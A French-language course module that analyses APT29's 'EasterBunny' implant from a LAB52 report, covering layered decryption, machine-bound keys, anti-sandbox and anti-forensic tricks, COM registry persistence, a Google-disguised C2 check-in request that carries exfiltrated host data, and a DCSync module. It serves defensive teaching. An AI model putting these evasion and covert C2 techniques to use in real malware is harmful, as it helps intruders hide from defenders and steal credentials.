Étude de cas réelle : EasterBunny (APT29)

Kaddate |

Note

Ce module s'appuie sur le rapport public LAB52/S2Grupo publié en mai 2026. Le PDF complet est dispo ici.

On passe à l'analyse d'un cas réel. Le rapport LAB52 sur EasterBunny a été publié pendant ce cours, c'est une bonne occasion de le regarder ensemble.

Contexte

En 2019, l'équipe de réponse à incident de S2Grupo (une boîte de sécu espagnole) intervient sur un incident. Sur les systèmes compromis, ils trouvent des artifacts inconnus. Après analyse, ils les attribuent à APT29, un groupe de cyberespionnage lié au SVR russe.

Ces artifacts ont été gardés secrets pendant 6 ans. Pourquoi ? Parce qu'on ne publie pas des IOCs (Indicators of Compromise : hashes, IPs, domaines, clés de registre... tout ce qui permet d'identifier une infection) si ça peut alerter l'attaquant avant qu'on ait fini de l'observer. L'info a été déclassifiée fin 2025, et le rapport est sorti en mai 2026.

APT29 c'est qui ?

APT (Advanced Persistent Threat) c'est le terme qu'on utilise pour désigner les groupes d'attaquants étatiques. Pas parce qu'ils utilisent des techniques magiques, mais parce qu'ils ont les moyens de rester longtemps dans un système sans se faire détecter.

APT29 aka Cozy Bear (CrowdStrike), Nobelium (Microsoft), The Dukes (F-Secure)... chaque boîte de threat intel a son propre nom pour le groupe. C'est le groupe derrière :

  • L'interférence dans les élections US 2016 (DNC)
  • Le vol de données vaccins COVID en 2020
  • Le hack de SolarWinds (2020) : compromission de la chaîne de mise à jour d'un logiciel utilisé par des milliers d'organisations

Le SVR c'est le Service de Renseignement Étranger russe, l'équivalent de la DGSE mais pour la Russie.

On parle ici d'un implant de Stage 3. Pour comprendre ce que ça veut dire : une attaque APT se déroule en plusieurs étapes. Le Stage 1 c'est l'accès initial (un mail de phishing, une vuln sur un VPN exposé...). Le Stage 2 c'est la consolidation (récupérer des credentials, comprendre le réseau...). Le Stage 3, c'est l'outil de persistance longue durée qu'on déploie une fois qu'on est bien installé, sur les machines les plus intéressantes. C'est ce qu'on a ici.


Premier coup d'oeil : analyse statique

LAB52 se retrouve avec 10 samples (Implant1.exe à Implant10.exe). Premier réflexe : on regarde les métadonnées du PE avant même d'ouvrir quoi que ce soit dans un désassembleur.

Un PE (Portable Executable) c'est le format de fichier .exe/.dll sous Windows. Il contient des métadonnées lisibles sans exécuter le fichier : date de compilation, outil utilisé pour compiler, sections du binaire et leur contenu...

Nom Taille Entropie .text Date de compilation Outil
Implant1.exe 1.43 MB 7.109 02/05/2008 Visual Studio 2012
Implant4.exe 1.59 MB 7.091 20/01/2004 Visual Studio 2010
Implant6.exe 1.37 MB 7.042 10/02/2015 Visual Studio 2010
... ... ~7.1 incohérente incohérent

Deux trucs à noter :

L'entropie de .text tourne autour de 7.1 sur tous les samples. L'entropie mesure le degré d'aléatoire du contenu d'une section : 0 = complètement prévisible (genre une section remplie de zéros), 8 = complètement aléatoire (genre des données chiffrées ou compressées). La section .text contient normalement du code exécutable, dont l'entropie est généralement entre 5 et 6. À 7.1, soit le contenu est chiffré, soit il est compressé. Dans les deux cas c'est suspect.

Les dates de compilation sont incohérentes : un sample compilé en 2004 avec Visual Studio 2012, c'est physiquement impossible (VS 2012 est sorti en... 2012). Les attaquants ont falsifié le Rich Header, une zone cachée dans le header PE qui enregistre automatiquement les outils et versions utilisés lors de la compilation. Les chercheurs en threat intel s'en servent pour regrouper des malwares entre eux : si deux samples ont le même Rich Header, ils viennent probablement du même builder. En falsifiant ça, APT29 coupe cette piste d'attribution.

Autre constat : aucun des 10 samples n'est présent sur VirusTotal. Ces implants sont entièrement custom et n'ont jamais fuité, ce qui confirme qu'on est bien sur du Stage 3.


L'architecture Matryoshka

EasterBunny est structuré en couches : chaque couche déchiffre et exécute la suivante.

┌─────────────────────────────────────────────┐
│  WRAPPER                                    │
│  ┌───────────────────────────────────────┐  │
│  │  CODE BLOCK #1                        │  │
│  │  ┌─────────────────────────────────┐  │  │
│  │  │  CODE BLOCK #2                  │  │  │
│  │  │  ┌───────────────────────────┐  │  │  │
│  │  │  │  FINAL PAYLOAD            │  │  │  │
│  │  │  │  (la vraie logique)       │  │  │  │
│  │  │  └───────────────────────────┘  │  │  │
│  │  └─────────────────────────────────┘  │  │
│  └───────────────────────────────────────┘  │
└─────────────────────────────────────────────┘

L'intérêt de cette structure : un analyste qui ouvre le Wrapper dans IDA voit du code chiffré. Pour comprendre ce que fait vraiment le malware, il faut d'abord comprendre comment chaque couche déchiffre la suivante. On va les passer en revue.


Couche 1 : le Wrapper

C'est le fichier .exe qu'on a en main. C'est lui qui a l'entropie à 7.1.

Les données planquées dans .text

Normalement, .text contient du code exécutable (les instructions assembleur du programme). Ici, les données chiffrées du Code Block #1 sont stockées dans .text, mais déguisées en instructions assembleur.

Concrètement, les données sont découpées en blocs. Chaque bloc commence par un opcode valide en assembleur x86 (05 = add eax, B8 = mov eax, BB = mov ebx) suivi d'un entier qui encode la taille du bloc. Dans IDA, ça ressemble à du code assembleur : add eax, 0x3F00 par exemple. Sauf que c'est juste des données brutes dont les octets correspondent à des encodages d'opcodes. Le désassembleur se fait avoir.

Pour reconstruire le Code Block #1, le malware :
1. Parcourt les blocs dans .text
2. Les réordonne dans le heap (ils ne sont pas en ordre dans .text)
3. Applique un algorithme de "distance calculation" pour désobfusquer
4. XOR avec une clé de 32 à 45 bytes pour déchiffrer
5. Écrase .text avec le code déchiffré
6. Nettoie la heap : free sur toutes les allocations, puis mise à zéro des zones libérées

CLEAR_MEM

Ce pattern de nettoyage mémoire systématique se retrouve à chaque étape de l'infection. L'objectif c'est l'anti-forensics : si quelqu'un fait un dump mémoire de la machine infectée, il ne trouvera pas les étapes intermédiaires de déchiffrement, seulement la couche courante en cours d'exécution.

Anti-sandbox : boucle d'attente

Au démarrage, avant de faire quoi que ce soit, le malware entre dans une boucle d'attente d'environ 2 minutes, puis attend encore 1 minute à la fin.

Les sandboxes automatiques ont un timeout : si le programme ne fait rien de suspect pendant N minutes, elles concluent qu'il est propre. La majorité ont un timeout entre 1 et 3 minutes. Une attente de 2 min au démarrage suffit donc à passer sous le radar.

Anti-sandbox vs Anti-debug

Ce sont deux techniques distinctes :

  • Anti-sandbox : empêcher l'analyse automatisée. Le malware détecte qu'il tourne dans un environnement de sandbox (via des timers, des vérifs sur l'environnement...) et ne fait rien de suspect.
  • Anti-debug : détecter qu'un analyste humain instrumente le programme en temps réel avec un debugger (via des breakpoints, des mesures de temps d'exécution...) et adapter son comportement.

EasterBunny utilise les deux, à des étapes différentes. On verra l'anti-debug dans la section payload.

Junk code multilingue

Dans les zones de données du .text, APT29 a inséré du junk code : du code sans utilité fonctionnelle qui ne change pas le comportement du malware. Ici ces zones contiennent des chaînes de texte en allemand, en italien et en swahili. Chaque implant en a une quantité différente, ce qui varie la taille de chaque sample. Les outils de détection qui travaillent sur la taille du fichier ou sur des sections de bytes à des offsets fixes ne peuvent pas clustériser ces samples ensemble.


Couche 2 : Code Block #1

On est dans le premier shellcode, déchiffré et positionné dans .text. Son seul rôle : déchiffrer et lancer le Code Block #2.

Un shellcode c'est du code machine conçu pour être injecté et exécuté directement en mémoire, sans passer par la structure normale d'un PE. Pour que ça marche, il doit être PIC (Position Independent Code) : il ne doit pas faire d'hypothèses sur l'adresse à laquelle il sera chargé, parce qu'il peut se retrouver n'importe où dans la mémoire du processus.

Résolution des WinAPI sans imports

Un PE normal liste les fonctions Windows qu'il utilise dans une table d'imports. C'est pratique mais visible : un analyste voit immédiatement quelles fonctions sont appelées. Un shellcode PIC n'a pas de table d'imports, il doit donc trouver les adresses de ces fonctions tout seul.

La technique standard, qu'on retrouve dans quasiment tout shellcode sérieux, passe par le PEB (Process Environment Block). C'est une structure Windows qui contient toutes les infos sur le processus en cours, notamment la liste des DLLs chargées en mémoire. On y accède via le registre gs (en x64) :

mov rax, gs:[0x60]   ; pointeur vers le PEB
; PEB + 0x18 = PEB_LDR_DATA (liste des modules chargés)
; on parcourt la liste, on compare les noms de DLLs
; quand on a trouvé kernel32.dll, on cherche GetProcAddress
; puis on l'utilise pour résoudre toutes les autres fonctions

Retenez gs:[0x60] → PEB → modules chargés. C'est un pattern à reconnaître immédiatement quand vous l'apercevez dans un désassembleur.

Le PEB Walking

Cette technique pour récupérer les fonctions des librairies via la PEB (Process environnement block) est HYPER utilisé par les malware ! C'est probablement la technique de malware Windows qu'on retrouve de plus souvent !
Ça permet de ne pas se faire hooker par les antivirus et d'ofusquer les fonctions que l'on veut appeler, de plus ça rend le sandboxing plus compliqué.

La clé machine-dépendante

C'est le mécanisme le plus notable du papier. Pour déchiffrer le Code Block #2, le malware construit une clé XOR à partir de valeurs qui sont propres à la machine infectée :

Valeur Comment la récupérer
BIOS UUID GetSystemFirmwareTable() : un identifiant unique lié au matériel, gravé dans le BIOS
Machine GUID HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid : un identifiant généré à l'installation de Windows
MRT GUID SOFTWARE\Microsoft\RemovalTools\MRT\GUID : un identifiant généré par le Malicious Software Removal Tool

Ces trois valeurs sont concaténées, passées en minuscules, et on calcule leur MD5 (une fonction de hachage : entrée de taille quelconque, sortie de 16 bytes toujours de la même taille). Ce hash de 16 bytes est la clé XOR.

Un byte dans le header du Code Block #1 (le "Key Type") indique quelles valeurs sont combinées. Pour les 10 samples : 8 utilisent BIOS+MachineGUID et 2 utilisent les trois.

Pourquoi c'est un problème pour l'analyste

Si vous exécutez un de ces samples dans votre sandbox, le Code Block #1 va calculer la clé à partir du BIOS UUID et du MachineGUID de votre machine. Ce ne sont pas les bonnes valeurs. Le déchiffrement va produire du bruit aléatoire. Le malware calcule ensuite le MD5 du résultat et le compare à une valeur de référence stockée dans le header : si ça ne colle pas, il quitte proprement.

Autrement dit : le malware est indéchiffrable sans avoir physiquement accès à la machine victime ou à ses valeurs de registre.

Ce comportement n'avait pas été documenté publiquement avant ce rapport. Les seules références connues se trouvent dans les Vault 7 (outils CIA publiés par WikiLeaks en 2017).


Couche 3 : Code Block #2

Nouveau shellcode, chargé en mémoire. Son rôle : préparer et exécuter le payload final.

La technique du "moat"

Le Code Block #2 alloue une page mémoire pour le payload, mais commence à écrire à +4096 bytes (4 KB) depuis le début de la page. Les 4 premiers KB restent à zéro.

Pour comprendre pourquoi c'est utile : Volatility est le principal outil d'analyse forensics de mémoire vive. Il permet d'analyser un dump RAM d'une machine compromise pour en extraire les processus, les connexions réseau, les artefacts en mémoire... Sa commande malfind scanne toutes les pages mémoire privées (non partagées) à la recherche d'exécutable injectés. Pour chaque page suspecte, elle affiche ses 64 premiers bytes.

Si ces 64 bytes sont à zéro, la page passe inaperçue :

# Ce que voit malfind sur une page avec moat :
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
# Un analyste pressé passe à la suivante

Le vrai code est à 4 KB plus loin dans la même page, hors du champ de vision de malfind par défaut.


Le Payload final

API Hashing

Même principe que le Code Block #1 pour trouver les adresses des fonctions Windows, avec une couche supplémentaire : les noms des fonctions ne sont pas cherchés par comparaison de chaîne, mais par comparaison de hash. L'algo utilisé ici s'appelle rol7XorHash32 : on fait une rotation de bits à gauche de 7 positions (rol 7) puis un XOR sur chaque caractère du nom de la fonction. Le résultat est une valeur numérique de 32 bits.

Concrètement, plutôt que de chercher la chaîne "GetProcAddress" en mémoire, le shellcode cherche la valeur 0x7C0DFCAA (par exemple). La chaîne n'apparaît jamais dans le binaire. En plus de ça, la valeur hashée est elle-même XORée avec une clé différente pour chaque sample. Résultat : on ne peut pas identifier les fonctions appelées sans d'abord reverser l'algo de hashing et la clé XOR du sample.

Anti-debug : timer

Quand le payload entre en phase de communication avec le C2, il prend un timestamp avec GetSystemTimeAsFileTime. Si plus d'une seconde s'est écoulée entre deux points d'exécution, le malware quitte proprement, sans crash ni message d'erreur.

Pourquoi une seconde ? Parce que quand un analyste utilise un debugger et pose un breakpoint, il arrête l'exécution du programme pour inspecter les registres et la mémoire. Cette pause dure forcément plus d'une seconde. Le malware utilise cette différence de timing pour détecter qu'il est en train d'être analysé.

Persistance via COM CLSID

Pour survivre aux redémarrages, le malware écrit dans le registre sous une clé qui ressemble à un objet COM légitime :

HKU\<SID>\SOFTWARE\Classes\CLSID\{43543050-c253-c0c1-7606-07b8124d4173}

COM (Component Object Model) c'est un système Windows qui permet aux applications de s'appeler entre elles via des interfaces standardisées. Chaque composant COM est enregistré dans le registre sous une clé CLSID avec un UUID. Il y en a des centaines sur une installation Windows standard. Créer une fausse entrée COM se noie facilement dans le bruit.

Pourquoi HKU (HKEY_USERS) plutôt que HKLM (HKEY_LOCAL_MACHINE) ? Parce que HKLM nécessite des droits admin pour écrire. HKU correspond à la ruche de l'utilisateur courant : n'importe quel processus peut y écrire. Le malware persiste sans élévation de privilèges.

Dans ces clés, 3 sous-clés chiffrées en AES, dont la clé de déchiffrement est un SHA1 calculé depuis les valeurs machine (toujours la même logique machine-dépendante) :

Sous-clé Contenu
Subkey 1 Credentials proxy de la victime (hardcodés dans le sample)
Subkey 2 Domaine C2 (modifiable à distance si besoin)
Subkey 3 Données post-exploitation

Les credentials proxy

APT29 a hardcodé les identifiants proxy de l'organisation victime directement dans le sample. Ça confirme que c'est du Stage 3 : le malware a été compilé après avoir récupéré ces credentials dans une phase précédente de l'intrusion. Ça permet aussi de sortir vers internet via le proxy d'entreprise en s'authentifiant comme un utilisateur légitime, sans lever d'alerte réseau.

Reconnaissance de la victime

Au démarrage, le payload collecte un profil de la machine et l'envoie au C2 :

User:<<UserName>>
Domain:<<DomainName>>
ComputerName:<<ComputerName>>
OsInfo:<<OS>><<OS Version>>
OsBit:<<OS Arch>>
ACP:<<CodePage>>
PSVersion:<<Powershell Version>>
WindowsGUID:<<WindowsGUID>>
Modules:<<Modules chargés>>

Tout ça est chiffré en RSA avant envoi. Ici, la clé publique est hardcodée dans le binaire (n'importe qui peut l'extraire), mais la clé privée reste côté attaquant. Ça veut dire qu'on peut voir le check-in chiffré sur le réseau, mais on ne peut pas le déchiffrer sans la clé privée.


C2 : le trafic déguisé

La requête de check-in

Voilà la requête HTTP vers le C2 :

GET / HTTP/1.1
Host: {domaine_C2_unique_par_sample}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept: */*
Referer: https://notifications.google.com/
Cookie: S=Gmail:{XOR_KEY_B64}; COMPASS=Gmail:{DATA_PART1_B64}; NID={RANDOM}:{DATA_PART2_B64}; GMAIL_IMP=v*2{RANDOM_STRINGS}; SSID:{RANDOM_B64}; APISID:{20_RANDOM_BYTES}; SAPISID:{MUTEX_XOR_B64}

Ce qui se passe :

  • Le Referer pointe vers notifications.google.com : le trafic simule une navigation depuis une notification Google
  • Les noms des champs Cookie sont identiques à ceux des vrais cookies Google Analytics/Ads (S, COMPASS, NID, GMAIL_IMP, SSID, APISID, SAPISID) qu'on trouve dans tout navigateur qui a visité un site Google
  • Les données exfiltrées (le profil machine chiffré RSA) sont dans COMPASS et NID, XORées et encodées en Base64
  • GMAIL_IMP est du padding aléatoire pour que l'en-tête ait l'air complet

Un IDS qui fait de l'inspection par mots-clés sur les noms de champs de cookies voit du trafic Google standard.

La réponse du C2

Le C2 renvoie du faux JavaScript qui ressemble à un widget Google :

"use strict";this.social_NotificationsOgbUi=this.social_NotificationsOgbUi||{};
(function(_){var window=this;
  // ...
}).call(this,this.social_NotificationsOgbUi); // Google Inc.

Les commandes pour l'implant sont encodées dans ce JavaScript. Le payload extrait ces commandes avec une table de 64 expressions régulières hardcodées. Avec 64 regex différentes qui pointent vers des emplacements précis dans le faux JS, le payload peut extraire des commandes structurées depuis une réponse qui a tout l'air d'être un widget Google légitime.

C'est de la stéganographie réseau : les données ne sont pas chiffrées au sens cryptographique, elles sont cachées dans la structure d'un contenu en apparence anodin. La différence avec le chiffrement : un flux chiffré est reconnaissable même si illisible. Ici, rien ne distingue cette réponse d'une vraie réponse Google pour un outil d'inspection réseau.


Post-exploitation : les modules

EasterBunny est modulaire : le payload de base sait recevoir et charger des modules supplémentaires depuis le C2, directement en mémoire, sans rien écrire sur le disque. Les commandes disponibles incluent notamment :

  • LOAD MODULE : charger un module en mémoire
  • SEND/ACCESS PERSISTENT COMMAND : commandes qui survivent aux redémarrages via les subkeys de registre
  • SET JITTER : introduire un délai aléatoire entre les appels au C2 pour que le trafic ne soit pas périodique et donc détectable par analyse comportementale réseau
  • KILL : autodestruction
  • SELECT PROXY CREDENTIALS : changer les credentials proxy stockés

Le module documenté dans le rapport est DCSync : une attaque Active Directory qui consiste à se faire passer pour un contrôleur de domaine et à demander une réplication des données d'authentification. Ça donne accès aux hashes NTLM de tous les comptes du domaine, y compris les comptes admin, sans toucher à la mémoire d'un processus local (ce qui évite les détections EDR classiques). Ces hashes peuvent être utilisés pour des attaques de type Golden Ticket ou Golden SAML, qui permettent de recréer des tokens d'authentification valides même si les mots de passe sont changés ultérieurement.


Ce qu'on observe sur ce cas

APT29 n'a pas utilisé de 0-day ici. Ce qu'on voit :
- Une connaissance fine des angles morts des outils défensifs courants (sandbox timeouts, malfind, détection par hash)
- Une customisation poussée par victime (un domaine C2, des credentials proxy, un sample unique par machine)
- Des contre-mesures forensics systématiques (CLEAR_MEM, moat, Rich Header falsifié)

C'est un bon exemple de pourquoi la détection par signature atteint ses limites face à ce type d'acteur.


Références


  1. CrowdStrike, "TrailBlazer and GoldMax" (2022) : famille de malware APT29 aux similarités structurelles avec EasterBunny. 

  2. WikiLeaks Vault 7 (2017) : publication de l'arsenal offensif de la CIA, contient des références à des techniques de machine-bound execution. 

  3. Panneton et al., "Improved Long-Period Generators Based on Linear Recurrences Modulo 2" : algo PRNG utilisé dans EasterBunny pour la génération de nombres aléatoires. 

  4. "rol7XorHash32" est un algo de hashing de noms d'API utilisé dans les loaders offensifs, documenté dans plusieurs shellcodes publics.